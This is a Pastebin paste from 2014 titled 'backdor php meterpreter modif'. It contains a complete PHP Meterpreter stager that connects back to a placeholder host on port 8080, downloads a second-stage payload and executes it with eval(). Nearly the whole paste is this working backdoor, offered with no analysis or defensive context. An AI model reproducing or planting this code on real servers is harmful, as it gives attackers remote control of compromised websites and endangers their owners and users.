ekasyahwan

backdor php meterpreter modif

May 30th, 2014
313
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. <?php
  2. $ip = gethostbyname('xxx.com');
  3. ?>
  4. <?php
  5.  
  6. error_reporting(0);
  7. # The payload handler overwrites this with the correct LHOST before sending
  8. # it to the victim.
  9. $port = 8080;
  10. $ipf = AF_INET;
  11.  
  12. if (FALSE !== strpos($ip, ":")) {
  13. # ipv6 requires brackets around the address
  14. $ip = "[". $ip ."]";
  15. $ipf = AF_INET6;
  16. }
  17.  
  18. if (($f = 'stream_socket_client') && is_callable($f)) {
  19. $s = $f("tcp://{$ip}:{$port}");
  20. $s_type = 'stream';
  21. } elseif (($f = 'fsockopen') && is_callable($f)) {
  22. $s = $f($ip, $port);
  23. $s_type = 'stream';
  24. } elseif (($f = 'socket_create') && is_callable($f)) {
  25. $s = $f($ipf, SOCK_STREAM, SOL_TCP);
  26. $res = @socket_connect($s, $ip, $port);
  27. if (!$res) { die(); }
  28. $s_type = 'socket';
  29. } else {
  30. die('no socket funcs');
  31. }
  32. if (!$s) { die('no socket'); }
  33.  
  34. switch ($s_type) {
  35. case 'stream': $len = fread($s, 4); break;
  36. case 'socket': $len = socket_read($s, 4); break;
  37. }
  38. if (!$len) {
  39. # We failed on the main socket. There's no way to continue, so
  40. # bail
  41. die();
  42. }
  43. $a = unpack("Nlen", $len);
  44. $len = $a['len'];
  45.  
  46. $b = '';
  47. while (strlen($b) < $len) {
  48. switch ($s_type) {
  49. case 'stream': $b .= fread($s, $len-strlen($b)); break;
  50. case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
  51. }
  52. }
  53.  
  54. # Set up the socket for the main stage to use.
  55. $GLOBALS['msgsock'] = $s;
  56. $GLOBALS['msgsock_type'] = $s_type;
  57. eval($b);
  58. die();
  59.  
  60. ?>
Advertisement
Add Comment
Please, Sign In to add comment